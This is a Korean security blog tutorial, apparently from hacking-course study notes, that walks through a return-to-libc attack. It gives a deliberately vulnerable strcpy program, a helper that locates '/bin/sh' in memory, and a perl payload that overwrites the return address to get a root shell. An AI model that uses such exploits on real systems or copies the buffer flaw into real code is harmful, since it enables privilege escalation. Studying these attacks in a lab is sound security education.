버퍼오버플로우 공격을 막기위해 스택에서 쉘코드가 실행되는 것을 방지하는 Non-Executable Stack 기법이 있다. RTL은 이것을 무력화 시키는 공격 방법으로 스택에 있는 ret 주소를 실행 가능한 임의의 주소(libc 영역의 주소)로 돌려 원하는 함수를 실행하게 만드는 기법이다. 메모리에 적재된 공유 라이브러리는 스택에 존재하는 것이 아니므로 Non-Executable Stack 을 우회하는 것이 가능하다. libc 영역에서 셸을 실행할 수 있는 함수인 system, execve, execl 등을 이용할 수 있다.
RTL 공격을 사용해 root권한을 탈취해보자.
bugfile.c
int main(int argc, char *argv[]) {
char buffer[10];
strcpy(buffer, argv[1]);
printf("%s\n", &buffer);
}
앞서 만든 bugfile를 디버깅하여 ret 까지 16바이트 떨어져있다는 것을 확인 후, exit과 system함수의 주소값을 알아낸다.
findsh.c
int main(int argc, char **argv){
long shell;
shell = 0x40058ac0; // system() 함수의 주소
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at 0x%x\n",shell);
}
system 함수의 주소를 이용해 /bin/sh의 주소를 찾는 프로그램이다.
findsh.c 를 이용해 확인된 "/bin/sh" 의 주소는 0x400fbff9 이다.
RTL 공격 실행
perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\xe0\x8a\x05\x40\xe0\x91\x03\x40\xf9\xbf\x0f\x40"'
이는 bugfile을 활용해 ebp 이전의 ret 영역부터 12바이트 까지 모두 system, exit, "/bin/sh" 의 주솟값들을 주입한다. 그러면 메모리 구조는 다음과 같다.
- system 함수의 주소 : 0x40058ae0
- exit 함수의 주소 : 0x400391e0
- "/bin/sh" 문자열의 주소 : 0x400fbff9
system 함수는 4바이트 거리에 있는 값을 인수로 인식하기 때문에 system("/bin/sh")와 같이 실행하고 종료된 뒤 exit 함수를 실행한다.
그러면 다음과 같이 root 권한을 탈취할 수 있게 된다.
'시스템해킹' 카테고리의 다른 글
취약점 자동 분석 및 공격 0x1 환경 세팅 (0) | 2023.11.29 |
---|---|
Format String 특정 메모리값 변조 (0) | 2023.11.26 |
Heap BufferOverFlow 공격 (0) | 2023.11.26 |
Stack BufferOverFlow 공격 (0) | 2023.11.26 |
KISA 해킹 훈련 고급 과정 정리 (4) | 2023.11.26 |
IT/보안